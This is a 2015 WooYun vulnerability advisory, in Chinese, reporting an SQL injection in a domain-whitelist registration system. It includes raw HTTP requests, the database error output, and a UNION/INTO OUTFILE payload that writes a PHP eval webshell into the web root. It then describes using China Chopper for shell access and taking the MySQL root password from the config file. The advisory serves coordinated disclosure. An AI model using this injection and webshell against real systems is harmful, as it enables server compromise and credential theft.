当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0162679

漏洞标题:时代宏远备案白名单登记系统存在注入漏洞可 GETSHELL

相关厂商:北京时代宏远网络通信有限公司

漏洞作者: glzjin

提交时间:2015-12-20 21:54

修复时间:2016-02-06 10:45

公开时间:2016-02-06 10:45

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:11

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-20: 细节已通知厂商并且等待厂商处理中
2015-12-24: 厂商已经确认,细节仅向厂商公开
2016-01-03: 细节向核心白帽子及相关领域专家公开
2016-01-13: 细节向普通白帽子公开
2016-01-23: 细节向实习白帽子公开
2016-02-06: 细节向公众公开

简要描述:

白名单登记系统的一个注射漏洞,可以 GETSHELL

详细说明:

目标:
http://**.**.**.**/
首先是对操作进行抓包 可以发现注入点存在于这里

POST http://**.**.**.**/index.php/bmd/dosubmit HTTP/1.1
Host: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:42.0) Gecko/20100101 Firefox/42.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://**.**.**.**/
Content-Length: 8
Cookie: Hm_lvt_cf15af24cbbc54d86b08019142283d7d=1447398749
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
domain='



可以看到返回结果是

HTTP/1.1 500 Internal Server Error
Date: Sat, 19 Dec 2015 05:28:23 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Content-Length: 1466
Connection: close
Content-Type: text/html; charset=UTF-8
。。。。。。
<div id="container">
<h1>A Database Error Occurred</h1>
<p>Error Number: 1064</p><p>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' limit 1' at line 1</p><p>SELECT domain,type FROM `common_bmd` where domain = '======伦家是注入点========' limit 1 </p><p>Filename: /var/www/html/models/m_common.php</p><p>Line Number: 27</p> </div>





OK,我们用 union 开整,这里是两列,而且网站目录也有给到,所以我们已经直接构造请求写 webshell 就好= =

POST http://**.**.**.**/index.php/bmd/dosubmit HTTP/1.1
Host: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:42.0) Gecko/20100101 Firefox/42.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://**.**.**.**/
Content-Length: 93
Cookie: Hm_lvt_cf15af24cbbc54d86b08019142283d7d=1447398749
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
domain=' union Select 1,'< ?php eval($_POST[cmd]);?>' into outfile '/var/www/html/test2.php' #



然后,访问一下 http://**.**.**.**/test2.php ,

可以发现已经写入成功了,

微信截图_20151219133505.png



然后就是上菜刀,

微信截图_20151219133740.png



看看,可以了

微信截图_20151219133939.png


然后是虚拟终端 - -话说为毛同样是云主机这个的主频高一些= = 求升级我那台

微信截图_20151219134204.png


然后可以看到数据库的配置文件,拿到 Mysql 的 root 密码

微信截图_20151219134518.png


然后,进去看看

微信截图_20151219135052.png

漏洞证明:

上面那里证明了那么多= =往上看

微信截图_20151219135052.png

修复方案:

加过滤咯,要提高自己的姿势水平= =话说顺便求升级我那台云主机,那代理商不让我升级= =/

版权声明:转载请注明来源 glzjin@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2015-12-24 18:02

厂商回复:

CNVD未直接复现所述情况,已由CNVD通过网站管理方公开联系渠道向其邮件通报,由其后续提供解决方案。

最新状态:

暂无